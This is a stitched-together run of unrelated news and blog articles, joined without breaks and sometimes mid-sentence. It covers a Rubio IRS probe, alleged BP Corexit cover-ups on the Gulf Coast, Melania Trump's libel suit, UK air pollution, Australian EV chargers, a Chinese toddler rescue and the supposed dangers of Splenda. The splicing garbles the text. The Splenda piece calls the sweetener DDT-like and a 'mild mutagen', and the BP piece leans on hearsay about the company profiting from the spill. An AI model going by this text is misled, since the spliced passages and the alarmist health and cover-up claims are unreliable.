Ruse, who earlier this year criticized the Food Network for featuring a lesbian chef, said that he is also upset about a New York Times article about custom suits for women transgender men. He said that Leslie Wolfgang, whose husband Peter leads the Family Institute of Connecticut, was scarred by the Kinky Boots performance: “They will not let us alone, I don’t know what to do about it, I mean they have these crazy, crazy ideas that men want to wear ladies’ underwear and dance around in the street and women want to cut off their breasts and they are in the New York Times.”In a development that could change the dynamics in one of the most closely-watched races of the year, the Miami Herald reports that federal investigators have begun several probes into spending and tax records at the Florida Republican party — including an investigation into the finances of Senate candidate Marco Rubio.
That investigation, run by the IRS, stems from an existing scandal surrounding the use of Florida GOP-issued American Express cards by elected officials and members of the party organization. The list of officials under investigation includes Rubio, and is essentially a search for evidence that could lead to future charges.There is a second, criminal investigation into the state GOP underway. The Herald reports the FBI, IRS and U.S. attorney’s office are investigating former state House Speaker Ray Sansom, who has already been indicted on state charges “that he stashed $6 million in the state budget for an airplane hangar for a friend and campaign donor,” according to the paper.
In the separate Rubio probe, which is not criminal, the IRS is digging into the tax records of former state party officials and elected Republicans — including Rubio and former state GOP chair Jim Greer — to “determine whether they misused their party credit cards for personal expenses,” according to the Herald.
The party credit card has already been a hassle for Rubio. In February, Gov. Charlie Crist’s campaign attacked Rubio over allegations that he used his Florida GOP-issued American Express to pay for thousands of dollars in personal expenses while he was state House Speaker.
The IRS investigation appears to cover those allegations, as the Herald reports:
At this stage of the IRS investigation, agents are looking at federal tax records, state financial disclosure forms and other documents to see whether Rubio, Greer and [former state GOP executive director Delmar] Johnson may have personally benefited from using their GOP American Express cards without reporting or paying taxes on additional income.
Should the IRS find anything amiss in the tax records, it could result in “a full-fledged criminal probe.”
Rubio strenuously denied any wrongdoing in February, and his campaign told the Herald that the same goes for the current IRS probe.
“There is absolutely nothing to this,” Rubio adviser Todd Harris told the paper.
Read the whole Miami Herald report here.Since the blown-out well at the Mississippi Canyon 252 Macondo site has been capped and the cleanup operations in the Gulf declared a success, BP has summarily fired thousands of workers without notice who were left unemployed as a result of the disaster. Local, state and federal agencies have been working to present a picture of normalcy, declaring the seafood safe to eat, the beaches clean and the water free from oil. The actual situation along the Gulf Coast is far from normal, with many people evacuating due to sickness and financial distress. Independent scientific reports continue to conclude the safety of the seafood is questionable at best, the beaches remain thoroughly contaminated, and the majority of the oil and dispersant is still in the water column or at the bottom of the Gulf.
Upon arriving back on the Gulf Coast three weeks ago, the first thing we found were containers of Nalco Corexit, which according to BP, the Coast Guard, NOAA and the EPA has not been used since mid-July. On the ferry boat to Dauphin Island on Aug. 25, we had the pleasure of being photographed by a Coast Guard Officer whose job was to record everyone traveling on the ferry and also the license plate numbers on all the vehicles. The officer said he could not discuss the spill but did relate his enthusiasm to return home to his family on the East Coast. Shortly after arriving on Dauphin Island we found numerous containers of Corexit and were treated to yet another day of constant surveillance by two Sheriff's Deputies, a local police officer, and what appeared to be a DHS officer in the ever-present black SUV. We discovered the Corexit in two locations on the island, one of which was a privately owned marina whose owner demanded we leave immediately. The pictures below of containers with Corexit 9500 at the private-owned marina were taken next to the highway on a local's bicycle with a Sheriff's deputy pulled up with his siren blaring and lights flashing. The next day the containers were gone.
The following week we went back to Dauphin Island and spoke to the Mark Smith, BP Deputy Branch Director in charge of the operations on the island, regarding the presence of Corexit on the island.
Two nights earlier on Aug. 23, a local resident found containers clearly labeled 9527 at Bayou La Batre. According to official statements, Corexit 9527 supplies were depleted in May and has not been used since then. The BP/Coast Guard operations using the Corexit dispersants 9527 and 9500 have been the subject of intense criticism. Initially, BP, the Coast Guard, NOAA, and the EPA admitted to using the more toxic 9527, which contains 2-butoxyethanol, in concentrations exceeding 50% of the dispersant. 2-butoxyethanol is known to bioaccumulate in the marine food chain. The effects on marine life and human health can be devastating. One senior staffer to a US senator agreed that the use of more than two million gallons of Corexit in the Gulf is "the largest experiment ever conducted on a civilian population without their knowledge or consent in history."
Mike Fischer, who for years was dockmaster at the Bear Point Marina, witnessed dispersant being sprayed over lagoons surrounded by civilian populations. VOO (Vessels of Opportunity) deckhands and captains witnessed dispersant being deployed less than one mile off the Alabama and Mississippi Coasts as late as mid-September from small skiffs and planes flying at night without lights. This brings into question official statements by BP, the EPA, and the Coast Guard, who have claimed that no dispersants have been deployed since mid-July, aside from a very small amount, and that they were never used within three miles of shore or on inland waterways (unless approval was obtained).
In fact, there are numerous accounts of the Corexit dispersant being used on inland waterways, lagoons, and bayous. Margaret Long, a resident of Cotton Bayou in Alabama paid to have independent tests done on soil and water samples taken from her property. The results showed high concentrations of markers for Corexit. The official excuse repeatedly used to explain the 2-butoxyethanol in test results that it can be found in many household products is nothing short of absurd. It is simply not plausible to postulate that enough detergent or shampoo or hand lotion has been dumped on Margaret's property or in Cotton Bayou to elevate levels to what was confirmed. Below are the published test results.
One of the fisherman who was enlisted early on the week immediately after the April 20 blowout spent up to 20 days at a time out on the water at the source. He and his coworkers were later assigned to the VOO program and and spent their days closer to shore spotting oil. All of these workers experienced various health issues indicative of chemical exposure. Initially they were given no Hazmat training or protective equipment of any kind. When BP and the US Coast Guard began spraying the Corexit dispersants, the boats in the area were instructed to move out of the area, but not so far that they could not visually observe the planes spraying from the air. In August and September they witnessed skiffs and barges dumping dispersant within one mile of the beaches along the Alabama coast. In one known case of extreme incompetence, Corexit was sprayed directly on a boat full of workers. The entire crew of the vessel was hospitalized and remain on disability. Many of these individuals previously would not speak out on any aspect of the spill, but as BP has terminated the VOO and all programs providing desperately needed employment for locals, they are now voicing their anger and disgust. Note to BP and other petroleum companies, if you really want to keep the workers silenced, be sure to continue to pay them for several months after the initial dirty work is done.
For months now there has been ongoing speculation as to why the federal government through the EPA and the US Coast Guard allowed the toxic dispersant to be sprayed across the Gulf when every NATO ally has banned its use as well as virtually every other coastal country in the world. The Corexit dispersants are highly toxic, especially when combined with oil and bioaccumulate in the food chain, making marine life tenuous and adversely affecting the long-term health of residents along the coast. What they do accomplish is sending the oil down the water column so that from the air it is virtually invisible. As with most other aspects of "cleanup" operations related to the blowout, appearances were far more important than reality, and the images shown on national media to the public of overriding concern. Clearly one factor in these decisions was allowing BP to not lose their investment in the drilling site and to collect some portion of the oil exploding from the wellhead.
More insight into the motivation for possibly not sealing the well early and creating an acceptable face for media consumption was provided by John Bean, who was a supervisor for one of BP's main subcontractors P2S. Mr. Bean's responsibilities included supervising more than 450 cleanup workers for a large portion of the resort beaches in Alabama and cleanup operations at "Green Acres," the command center in Gulf Shores; which, not coincidentally, was leased by BP from the private owner, Gulf Shores Mayor Robert Craft's family estate. While taking a break at the Green Acres command center, Bean overheard a conversation between two men both with satellite phones.
One of the men told the other that "the numbers are in," and that BP had collected enough oil from the spill to cover 100% of the costs resulting from the spill.
Taylor Hood was also employed in the VOO program. Hood and his fellow crew members were accompanied by an older gentlemen from Arkansas who was in charge of air monitoring for their vessel. After repeatedly coming up with negative readings when they were surrounded by oil, Taylor and his shipmates, just for "shits and grins," had the official place his device directly down close to the water over a large patch of oil. Not surprisingly, the device showed zero on whatever it was calibrated to measure. Situation normal. Far from being an isolated incident, these firsthand accounts of intentional deception and cover-ups are endless.
Reports of continued fish kills numbering in the hundreds of thousands continue to come in along the Gulf Coast, especially in southern Louisiana. A large number of fisherman refuse to sell their catches and feel it unconscionable to represent seafood coming out of the Gulf as safe for human consumption. Oyster beds are dead and dying with the offspring unable to survive due to changes in membrane viscosity caused by the dispersant. Several owners of private oyster farms see the end of their family businesses, which had been a mainstay for the coastal economy for generations. Among the coastal communities sickness from chemical exposure, suicides, depression, bankruptcy, and involuntary relocation/evacuations are now commonplace occurrences. The vast majority holds not only BP responsible, but the federal government as well. The government allowed BP to dictate the response to the spill and was instrumental in assisting BP in not only covering the Gulf with toxic dispersants but subsequently covering up the horrible realities of what it has done to the marine ecosystem, the health of US citizens along the coastal region, and the countless lives that have been destroyed.Image copyright AP Image caption Mrs Trump's lawsuit initially said she lost a "once-in-a-lifetime opportunity" to profit from her high profile
Lawyers for US First Lady Melania Trump have re-filed a defamation case against UK newspaper Daily Mail.
The new complaint drops wording that said Mrs Trump missed a "once-in-a-lifetime opportunity" to profit from her brand, due to a Daily Mail article.
The initial complaint had led critics to question if she intended to gain financially from being first lady.
The Daily Mail had reported allegations that she once worked as an escort, but later retracted its article.
Mrs Trump is still seeking damages of $150m (£120m).
The suit initially said that Mrs Trump had the "unique, once-in-a-lifetime opportunity... to launch a broad-based commercial brand in multiple product categories, each of which could have garnered multi-million dollar business relationships for a multi-year term during which [she] is one of the most photographed women in the world".
The products categories would have included apparel, accessories, shoes, jewellery, cosmetics, hair care, skin care and fragrance, it added.
After criticism, her lawyer, Charles Harder, denied to US media that Mrs Trump had plans to profit from her high-profile status as first lady.
"It is not a possibility. Any statements to the contrary are being misinterpreted," a statement said.
Image copyright Reuters Image caption Mrs Trump's lawyers say the Daily Mail article caused her "significant humiliation"
The new version of the complaint, filled in New York on Friday, focused on the emotional distress of the Daily Mail report.
"[The] false and defamatory statements about [Mrs Trump] have caused tremendous harm to [her] personal and professional reputation and prospective economic opportunities, as well as causing |
Traffic fumes across the country are provoking increased instances of asthma and other respiratory diseases. So what is being done about it?
When Justin Bieber collapsed last week at the O2 arena in London and was taken to a private clinic feeling "short of breath" and needing oxygen, the rumours started flying that he had had an asthma attack. They were denied by his management, but it would have been understandable if he had. Most of last week, London's air was heavily polluted, with many of the capital's pollution monitors recording "high" nitrogen dioxide (NO2) levels as an acute photochemical smog of fumes and microscopic particles (PM) of acids, chemicals, metals and dust drifted in from the continent, mixed with London diesel exhaust and then became trapped in the still, dry air.
Only a mile or so from the O2, Rosalind Dalton had also been feeling short of breath and needed her Symbicort 200 steroid inhaler. She, too, is a singer, who has been in operatic societies since she was 15, but she says she can't hold the long phrases these days. She lives near the Woolwich flyover, where a grey, 3ft-high air pollution monitoring box on a slip road to a busy road regularly shows pollution regularly well over the legal limit. Recently she was diagnosed with a long-term lung condition, even though neither she nor her family have ever smoked. "The air pollution has been bad in the last few weeks. On one occasion I set off to walk to Sainsbury's and turned back because I was having symptoms," she says.
Meanwhile, Malachi Chadwick found himself wheezing just months after he moved in 2009 from York to London to work with climate change group 10:10. He bikes around 40 miles a week in the city and his doctor has diagnosed asthma – almost certainly aggravated by air pollution. "The air quality of the two cities is noticeably different. When you bike you get [air pollution] full in the face," she said.
The last few weeks have been stressful for many of the 5.4 million people, including 1.1 million children, who are receiving treatment for asthma and for the tens of thousands of others with respiratory diseases. Since Christmas, there have been four major air pollution episodes, stretching from London to Nottingham, Birmingham, Leeds, Dundee and Glasgow. A pollution monitor in Downpatrick in Northern Ireland registered 10, the highest possible level of NO2. On 3 March, the department of the environment advised people to reduce or avoid strenuous activity and Matthew Pencharz, the mayor of London's environment adviser, said it would be "sensible" for children to be kept away from playgrounds during smog episodes.
Dr Ian Mudway, a lecturer in respiratory toxicology with the environmental research group at King's College London university, has spent several years walking the routes that children take to school in the London Borough of Tower Hamlets, measuring the pollutants in the air they breathe and determining their impacts on their respiratory health. He is shocked at the levels of pollutants these children are exposed to on a daily basis and fears for the permanent damage being done by to their lungs by the ultra-fine particles and gases emitted by diesel engines.
East London has long been heavily polluted by industry but Tower Hamlets has some of the busiest roads in Britain passing close to large high-density housing estates. Nowhere in the borough is further than 500 metres from a busy road and new housing developments targeted at young families are popping up right by main roads.
Air pollution, especially from diesel engines, is a "neglected, hidden killer" and children and old people are especially at risk, says Mudway. "There's strong evidence that if you live near main roads you will have smaller lungs," he says. "They will not reach capacity and will be stunted. When, or if, people move to a cleaner environment they still do not recover the function they lost. We have good evidence that every child born in Tower Hamlets will have a reduction in the volume of their lungs by the age of eight. The point is, people die of lung disease later on. You store up a problem that will affect you later," he says.
He lists some of the effects of polluted air. In the short term, it leads to irritation to the eyes, nose and throat, headaches, nausea, bronchitis and pneumonia. Over a longer period it can result in heart attacks and lung diseases, cancers, even damage to the brain, nerves, liver, and kidneys.
"The [people who die] are only the very end of a spectrum of health effects," he told a group of Tower Hamlet residents at a public meeting organised last month by Friends of the Earth on the extra air pollution which would be caused by a proposed new four-lane road tunnel below the Thames.
"For everyone who dies there are many more who are hospitalised or who have impaired health. Prolonged exposure to elevated [particulate pollution levels] is associated with significant life-shortening and poor respiratory health. Acute episodes can precipitate death in sensitive subjects."
The more researchers like Mudway look at the health effects of air pollution, the worse it seems to get. The latest figures suggest 29,000 people die prematurely from it every year in Britain, twice as many as from road traffic, obesity and alcohol combined, and that air pollution is now second only to smoking as a cause of death.
Its seriousness is confirmed by Asthma UK polls: "Two thirds of people with asthma have told us that traffic fumes make it worse and one third say a reduction in air pollution would make the most difference to their lives," says a spokeswoman.
After years of focusing on climate change, government and environment groups are only now slowly waking up to the public health crisis. In 2011, the House of Commons Environmental Audit Committee calculated that living in an air pollution hot spot could shave nine years off the lives of the most vulnerable people. It concluded that it cost Britain £6-19bn a year, or up to 17% of the total NHS budget, and that 15-20% more people died prematurely from it in cities with high levels of pollution than those in relatively cleaner ones.
London, with 4,300 deaths a year, is one of the worst in Europe and the pollution monitor on Marylebone Road shows the fourth highest levels of NO2 of over 2,000 monitoring stations in Europe. The city has 2,500 schools and 180,000 children within 150m of roads carrying 10,000 or more vehicles a day.
"Fighting change are a few people in government who have either failed to understand that long-term exposure to air pollution is the biggest public health risk after smoking or they simply don't care and want to cover-up the issue for as long as possible. It is much worse than most of us have realised. It is one of the biggest public health failings for decades," says Simon Birkett, a former banker who set up the campaigning group Clean Air in London (CAL) in 2009. Joan Walley MP, chair of the Environmental Audit Committee, despairs: "It's a scandal that the same number of people are dying of air pollution in London now as back in the 1950s. The Government needs to step in."
Faced with massive health costs, threatened with large fines for not complying with EU laws passed 13 years ago, and warned last week by the UN World Health Organisation that exposure to NO2 is harmful at far lower levels than the limits currently set by Europe, you might think the government would act. But Britain has spent nearly 15 years ignoring the problem, lobbying to extend timetables, working with other countries to weaken the rules and giving financial incentives for people to switch to the most polluting technologies.
Ministers admit they are breaking the laws but claim it is not possible to meet the EU limits. Mayor Boris Johnson has tried small-scale techno-fixes like living walls of plants and dust suppressants but these measures have been shown to be not nearly enough. Last week he proposed an "ultra low emission zone", which would ban all but the very lowest emission vehicles from central London during working hours. But the measure would not come into force until 2020 and was widely dismissed as PR.
The result of official inaction is that air pollution has barely improved in 20 years and legal limits for NO2 are being regularly breached in most urban areas. Government does not expect EU targets to be met until 2025 in London and 2020 in the West Midlands, Greater Manchester, Glasgow, West Yorkshire, Teesside, the Potteries, Kingston Upon Hull, Southampton and seven other conurbations. "It's a disgrace the UK is failing so badly on air pollution – tens of thousands of people die every year. Action by the government to clean up our dirty air is too little too late – and road-building plans will simply make the situation worse," said Friends of the Earth air pollution campaigner Jenny Bates.
One reason that it has been able to dodge the law is that modern air pollution is mostly invisible, colourless, odourless, and tasteless, or comes in particles so small they can pas through masks. Sixty years ago you could practically cut the coal smoke belching from chimneys. It turned buildings and clothes black, damaged crops and gave people lasting diseases. But when coal declined, the problem was assumed to have gone.
"We see the health impact today but it's difficult to take seriously because you cannot see it. The solutions involve closing roads and reducing traffic, so it's very hard for most political parties to even imagine acting," said Jenny Jones, London Green party assembly member.
These days air pollution comes largely from diesel engines. It can be best seen when fumes get trapped and a dull orange-grey smog develops. Technically, it is produced by sunlight reacting with nitrogen oxides and volatile organic compounds (VOC) in the atmosphere. When sunlight hits these chemicals, they form airborne particles and the result is ground-level ozone or smog. Overall, diesel cars emit less hydrocarbons, carbon monoxide and lead pollution than petrol cars, but produce more noxious gases and significantly more minute particles. A 2011 test by government to measure emissions from vehicles in everyday use concluded that, while petrol emissions had improved by 96%, "emissions of NOx [nitrogen oxide] from diesel cars and light goods vehicles have not decreased for the past 15-20 years.
"The pollution mix has changed over time as traffic has emerged as the predominate source. It's not only the small, nanosize of the particles, but also their changed composition and their interaction with gaseous co-pollutants that give us cause for concern. The lower levels of these particles in today's air in no way suggests they are any less harmful than the historic pollutant episodes." says Ian Mudway.
Meanwhile, there are many more diesels than before. They have increased across Europe by 35% since 1990 and, says the Society of Motor Manufacturers, over 50% of all cars registered in Britain are now diesel, up from 23% in 2002. One reason is that cities and government have offered tax incentives for diesels.
"Air pollution remains one of the most under-addressed public health problems, comparable to obesity and alcohol, but some government policies such as encouraging diesel vehicles in cities, are making the problem even worse. It is crucial that perverse incentives that encourage polluting vehicles and technologies are removed," says Conservative thinktank Policy Exchange.
Last week, ClientEarth, an organisation of activist environmental lawyers took the government to the highest court in the land over its failure to meet European laws on nitrogen pollution. The five supreme court judges, who only hear cases "of the greatest public or constitutional importance affecting the whole population", must decide whose responsibility it is to enforce European laws.
"The case raises a fundamental question about the rule of law. If the supreme court is unable to give an effective remedy to a clear and admitted breach of EU environmental law, there are grave constitutional consequences. There is now the distinct possibility that this will be referred to the European court of justice," says ClientEarth lawyer Alan Andrews.
If it is ruled that Europe should have no say in whether its laws are implemented, then the government need do nothing more and pollution will go on unchecked. If ClientEarth win, it may take Europe years to act. Either way, Malachi Chadwick, Rosalind Dalton and 5.4 million people with asthma will have to wait for respite.Electric car charging stations power up in NSW with NRMA set to add 40 around the state
Updated
If you have an electric car, you would be hard pressed to take it on holiday, with only 50 charging stations across the country and just 11 in New South Wales.
The state's peak road user group, the NRMA, is set to change that with plans to establish a network of fast-charging stations for electric and hybrid cars in NSW.
The plan involves a phased introduction of at least 40 stations at a cost of $10 million.
The NRMA and the Electric Vehicle Council (EVC) believe vehicle price and a lack of charging infrastructure are barriers to growth in the uptake of electric cars in Australia.
According to the EVC, sales of electric vehicles across the nation slumped 23 per cent from 2015 to 2016.
The council's chief executive officer, Behyad Jafari, said Australia had about 5,000 electric and hybrid vehicles on the road, and in 2016 about 1,300 such vehicles were sold, or 0.1 per cent of new car sales.
"As a result we haven't had enough investment in the availability of different vehicle models as well as the infrastructure rollout right across regional and metropolitan New South Wales," he said.
Australia 'not ready for the electric transition'
A number of countries and manufacturers are actively transitioning to electric vehicles and some governments have even threatened to ban petrol and diesel-driven models in the not-too-distant future.
The NRMA and EVC believe Australia is not ready for the changes that are coming.
"Unlike the rest of the world, what we don't have is any clear government policy to support the transition from petrol and diesel towards electric vehicles — that is something we are seeing around the world," Mr Jafari said.
"We need to prepare ourselves, that means preparing ourselves in terms of electricity generation, infrastructure, and ensuring that we have chargers out on our roads so that people can recharge their vehicles as they drive."
Half an hour to charge
NRMA chairman Kyle Loades said the network would help unlock Australia for electric vehicles.
"We are unprepared for the incoming increase in electric cars," he said.
"There has been underinvestment in the electric vehicle market in Australia, so the NRMA is stepping in to develop a network to support the adoption and rollout of electric vehicles."
The fast-charging stations would allow a typical electric car with a range of 500 kilometres to fully charge within half an hour.
The first of the fast-charging stations will be rolled out across Sydney, the Blue Mountains, the ACT, the Illawarra, the Mid North Coast and Newcastle.
Topics: road-transport, environmental-technology, nsw
First postedStory highlights Two hit-and-run drivers rammed into the 2-year-old last week
In the video, Chen Xianmei moves the baby to safety
"I just wanted to save the girl," she says
Money rewards are coming in for a woman who rescued a bleeding toddler left for dead last week by multiple passersby in southern China.
Two hit-and-run drivers rammed into Wang Yue, 2, one after another, as she walked on a narrrow street in Foshan.
More than a dozen people walked, cycled or drove past as she lay bleeding in a busy market, sparking a global outcry on the state of morality in a fast-changing society.
Wang is in critical condition, her brain showing little activity despite earlier subtle movements in the lower body, said her mother, Qu Feifei.
But despite the many villains in the story, it has also turned the spotlight on an unlikely hero: A 58-year-old scavenger.
JUST WATCHED China: Hit-and-run video sparks outcry Replay More Videos... MUST WATCH China: Hit-and-run video sparks outcry 02:23
JUST WATCHED Good Samaritan laws in China Replay More Videos... MUST WATCH Good Samaritan laws in China 03:58
In the video that has sparked outrage globally, Chen Xianmei moves the baby to safety, becoming an instant symbol of understated decency in a nation analysts say is obsessed with climbing the economic ladder.
"I didn't think of anything at the time," Chen said Sunday. "I just wanted to save the girl."
Two government offices in Guangdong province, where the hit-and-run occurred, offered the Good Samaritan a total of 20,000 yuan (US $3,135), according to state-run Xinhua news agency.
Wang's mother has said she does not understand the behavior of the passersby, but wants to focus on the positive.
"Granny Chen represents the best of human nature," she said of her daughter's rescuer. "It's the nicest and most natural side of us."
On Sina Weibo, China's equivalent of Twitter, the story continued to be the No. 1 topic after generating more than 4.5 million posts along with a "stop apathy" online campaign.
As the outrage over morality continues, a steady procession of well-wishers pours in, offering gifts, money and support to the toddler's family.Sugar substitutes and the potential danger of Splenda
WomentoWomen.com wrote a great article on the dangers of Splenda, as the new sugar substitute on the block. Checkout the article after the jump.
Few of us are really aware of how many new Splenda® products there are in the supermarkets. We’ve been told that this artificial sweetener is different from all the past failures — Sweet’N Low®, NutraSweet®, etc. — and according to the claims, that this Splenda is the perfect sugar substitute: as sweet as sugar, but no calories; as sweet as sugar, but no surge in insulin; as sweet as sugar, but no side effects or long-term health damage.
The wave is coming because “low–sugar” or “sugar–free” is the latest fad — a welcome trend, given the health hazards of all the sugar in the average diet. But of the hundreds of new diet foods that will soon appear, most will use Splenda as a sugar substitute. This is important because for tens of millions of women, their diet soda or artificially-sweetened food is a keystone of what they think are healthy nutrition and food choices — both for themselves and for their families.
Looking for a different kind of plan for finding your healthy weight?
On the other side of the argument are responsible experts who say that Splenda is unsafe — the latest in a succession of artificial sweeteners that claim at first to be healthy, only later to be proven to be full of side effects. These authorities say that Splenda has more in common with DDT than with food.
What do we believe? We think that our regulatory system doesn’t do a good enough job ensuring our long-term safety. We’re concerned about the bigger picture, too — the dependence on sweets in the American diet to make us feel good — whether those sweets are satisfied by sugar or artificial sweeteners like Splenda. And we are especially sensitive to the women who can benefit from using artificial sweeteners as a bridge to a better life with healthier nutrition.
What should you think about artificial sweeteners? We want you to be fully informed about the dangers of Splenda (which isn’t what food marketers want!) so you can make the best choices for yourself and for your family. So let’s make sure you are.
Splenda — the public health experiment
“Low–sugar” is the successor to the “low–carb” craze, even though they are essentially the same thing. According to the New York Times, by the end of this summer 11% of the food items on supermarket shelves will be labeled “reduced sugar” — most of those targeted at kids and their health-conscious moms. Sales in granulated sugar have dropped four percent in the past six months. What’s behind this trend? Splenda.
Products featuring Splenda are perceived as “natural” because even the FDA’s press release about sucralose parrots the claim that “it is made from sugar” — an assertion disputed by the Sugar Association, which is suing Splenda’s manufacturer, McNeil Nutritionals.
The FDA has no definition for “natural,” so please bear with us for a biochemistry moment: Splenda is the trade name for sucralose, a synthetic compound stumbled upon in 1976 by scientists in Britain seeking a new pesticide formulation. It is true that the Splenda molecule is comprised of sucrose (sugar) — except that three of the hydroxyl groups in the molecule have been replaced by three chlorine atoms. (To get a better picture of what this looks like, see this image of a sucralose molecule.)
While some industry experts claim the molecule is similar to table salt or sugar, other independent researchers say it has more in common with pesticides. That’s because the bonds holding the carbon and chlorine atoms together are more characteristic of a chlorocarbon than a salt — and most pesticides are chlorocarbons. The premise offered next is that just because something contains chlorine doesn’t guarantee that it’s toxic. And that is also true, but you and your family may prefer not to serve as test subjects for the latest post-market artificial sweetener experiment — however “unique.” (See our article on endocrine disruptors for more information on toxins and persistent organic pollutants.)
Once it gets to the gut, sucralose goes largely unrecognized in the body as food — that’s why it has no calories. The majority of people don’t absorb a significant amount of Splenda in their small intestine — about 15% by some accounts. The irony is that your body tries to clear unrecognizable substances by digesting them, so it’s not unlikely that the healthier your gastrointestinal system is, the more you’ll absorb the chlorinated molecules of Splenda.
So, is Splenda safe? The truth is we just don’t know yet. There are no long-term studies of the side effects of Splenda in humans. The manufacturer’s own short-term studies showed that very high doses of sucralose (far beyond what would be expected in an ordinary diet) caused shrunken thymus glands, enlarged livers, and kidney disorders in rodents. (A more recent study also shows that Splenda significantly decreases beneficial gut flora.) But in this case, the FDA decided that because these studies weren’t based on human test animals, they were not conclusive. Of course, rats had been chosen for the testing specifically because they metabolize sucralose more like humans than any other animal used for testing. In other words, the FDA has tried to have it both ways — they accepted the manufacturer’s studies on rats because the manufacturer had shown that rats and humans metabolize the sweetener in similar ways, but shrugged off the safety concerns on the grounds that rats and humans are different. In our view, determining that something is safe (or not) in laboratory rats isn’t a definitive answer, as we’ve seen countless examples of foods and drugs that have proved dangerous to humans that were first found to be safe in laboratory rats, both in short- and long-term studies.
Here are two other reasons for our concern: first, in the eleven years after Splenda was put on the market, no independent studies of sucralose lasting more than six months have been done in humans. Second, none of the trials that were done was very large — the largest was 128 people studied for three months, making us wonder, what happens when you’ve used sucralose for a year, or two, or ten? Then there’s the fact that Splenda, as a product, consists of more than just sucralose—it’s made with dextrose, and sometimes also with maltodextrin, neither of which were included in the original studies and trials of sucralose. So the reality is that we are the guinea pigs for Splenda.
And now, are our children the next trial group? Thanks to an agreement between McNeil Nutritionals (makers of Splenda) and PTO Today, which provides marketing and fund-raising aid to parents’ associations, your elementary school’s next bake sale may be sponsored by Splenda — complete with baked goods made with the product.
Splenda side effects
Evidence that there are side effects of Splenda is accumulating little by little. Sucralose has been implicated as a possible migraine trigger, for example. Self-reported adverse reactions to Splenda or sucralose collected by the Sucralose Toxicity Information Center include skin rashes/flushing, panic-like agitation, dizziness and numbness, diarrhea, swelling, muscle aches, headaches, intestinal cramping, bladder issues, and stomach pain. These show up at one end of the spectrum — in the people who have an allergy or sensitivity to the sucralose molecule. But no one can say to what degree consuming Splenda affects the rest of us, and there are no long-term studies in humans with large numbers of subjects to say one way or the other if it’s safe for everyone.
If this sounds familiar, it should: we went down the same path with aspartame, the main ingredient in Equal and NutraSweet. Almost all of the independent research into aspartame found dangerous side effects in rodents. The FDA chose not to take these findings into account when it approved aspartame for public use. Over the course of 15 years, those same side effects increasingly appeared in humans. Not in everyone, of course — but in those who were vulnerable to the chemical structure of aspartame.
As food additives, artificial sweeteners are not subject to the same gauntlet of FDA safety trials as pharmaceuticals. Most of the testing is funded by the food industry, which has a vested interest in the outcome. This can lead to misleading claims on both sides.
But one thing is certain: some of the chemicals that comprise artificial sweeteners are known hazards — the degree to which you experience side effects just depends on your individual biochemistry. Manufacturers are banking on the fact that our bodies won’t absorb very much of these compounds at any one time. And many of us don’t. But what happens when we are ingesting a combination of artificial sweeteners like Splenda dozens of times a week through many different “low–sugar” or “sugar–free” products?
People have been using artificial sweeteners for decades. Some react poorly, some don’t — the problem is, you never know until you’re already sick. Scientists are calling Splenda a mild mutagen, based on how much is absorbed. Right now, it’s anyone’s guess what portion of the population is being exposed to the dangers of Splenda or already suffering from Splenda side effects. Until an independent, unbiased research group conducts long-term studies on humans (six months is hardly long-term!), how can we be certain? With all the new Splenda products on our shelves, it looks as if we are now in the process of another grand public experiment — without our permission. And we may not know the health implications for decades. As with all things, time will unveil truth.
So I urge you to be concerned about the potential dangers of Splenda — as with any unnatural substance you put in your body. And I am especially concerned about its use for children, which I recommend you avoid. But unlike many holistic practitioners, I do think artificial sweeteners can serve a purpose for some women. And that has to do with the old question — which is better, sugar or an artificial sweetener? Let’s start with sugar, where the problems all begin.
Sugar and insulin: the energy rush
Like Pooh Bear and the honey jar, sweet treats are the comfort food of choice for most of us. Usually we’ve had powerful emotional incentives set up in childhood — like getting a lollipop after a doctor’s visit — and most of us unconsciously associate sugar with love, pleasure, and reward. Why else would we call our dear ones “honey,” “sugar,” and “sweetie”?
There’s an equally strong biological urge here that’s hard-wired. We’re predisposed to seek out sugar when we can find it. After all, sugar (sucrose) is a carbohydrate. It’s metabolized directly into blood sugar, or glucose, which fuels our brain and muscles. The purer the source, the faster it gets into the bloodstream, bypassing much of the digestive process.
Eating sugar shoots our blood sugar levels up and triggers a spike in the hormone insulin, which is needed to prep our cells to absorb the sugar. If there are no other nutrients to sustain our blood sugar level, it crashes as quickly as it rises — and we crave another hit. This is how sugar addiction begins.
Moreover, sugar floods us with pleasure by stimulating the release of the neurotransmitter serotonin, and probably other mood-elevating substances. Scientists report that eating chocolate initiates a brain response similar to falling in love.
And so our brains have learned over time to equate the taste of “sweet” with a rapid infusion of energy and pleasure — a good thing when food was hard-won and life a battle to survive. Even now when we eat sweet foods, special taste buds trigger enzymes that prime our brain to anticipate this extra boost. With a balanced diet and a healthy metabolism, a calorie–control mechanism kicks in after a few minutes to regulate the desire for more food, including the satiety hormone leptin. But with too much sugar, we eat and eat and can’t get satisfied. (For more on this process, see our article on insulin resistance.)
Another big difference between prehistoric times and now is that sugar back then came solely from complex natural sources that had other nutritional qualities, such as fruit, honey, bark, and leaves. And because naturally sweet food is seasonal, ripening with the sun in the summer or growing almost exclusively in warm climates, it was relatively rare in past times.
The evolution of sugar
Over thousands of years our bodies used naturally sweet food safely and efficiently in this way. But then what happened? As our knowledge evolved, we grew adept at refining pure sugar from its food source. Sugar became its own food group — an empty calorie, devoid of protein, fat, or fiber — but still relatively rare.
As shipping and trade routes grew, sugar became widely available. New refining technology put granulated white sugar on every table, replacing the more nutritionally complex honey, molasses, barley and maple sugars. These had been generally added to food after preparation or to taste during baking and preserving, not pumped into the food itself.
Enter the modern era with its advanced food-processing techniques and competitive food companies, and presto! Refined sugar is everywhere and in everything.
Sugar is a food processor’s fantasy: it’s cheap, it adds bulk and texture, and it makes consumers prefer their product over a less-sweet alternative. So now consumers get sugar everywhere, from simple carbohydrates (so-called white food) to pure granulated sugar, and in other forms like dextrose, fruit juice concentrate, maltodextrin, and high–fructose corn syrup. These empty calories take the place of real nutrients — so while we eat and gain weight, we’re actually starving our cells.
The health effects of sugar
What happens to our metabolism, on all that sugar? Remember, we’re still primitive at a cellular level. What starts out initially as a survival tool quickly becomes a crutch if sugar is easy to procure. A sugar craving (which is really a craving for an energy and serotonin surge) becomes a habit.
We unwittingly reprogram our biochemistry to perpetuate these cravings. What’s more, this process is exacerbated by stress — because that’s when your body needs immediate energy and serotonin. We often put our bodies through the binge–crash cycle several times a day. Your fatigue tells you to have that extra cup of coffee or high–carb snack at mid-morning and again in the afternoon.
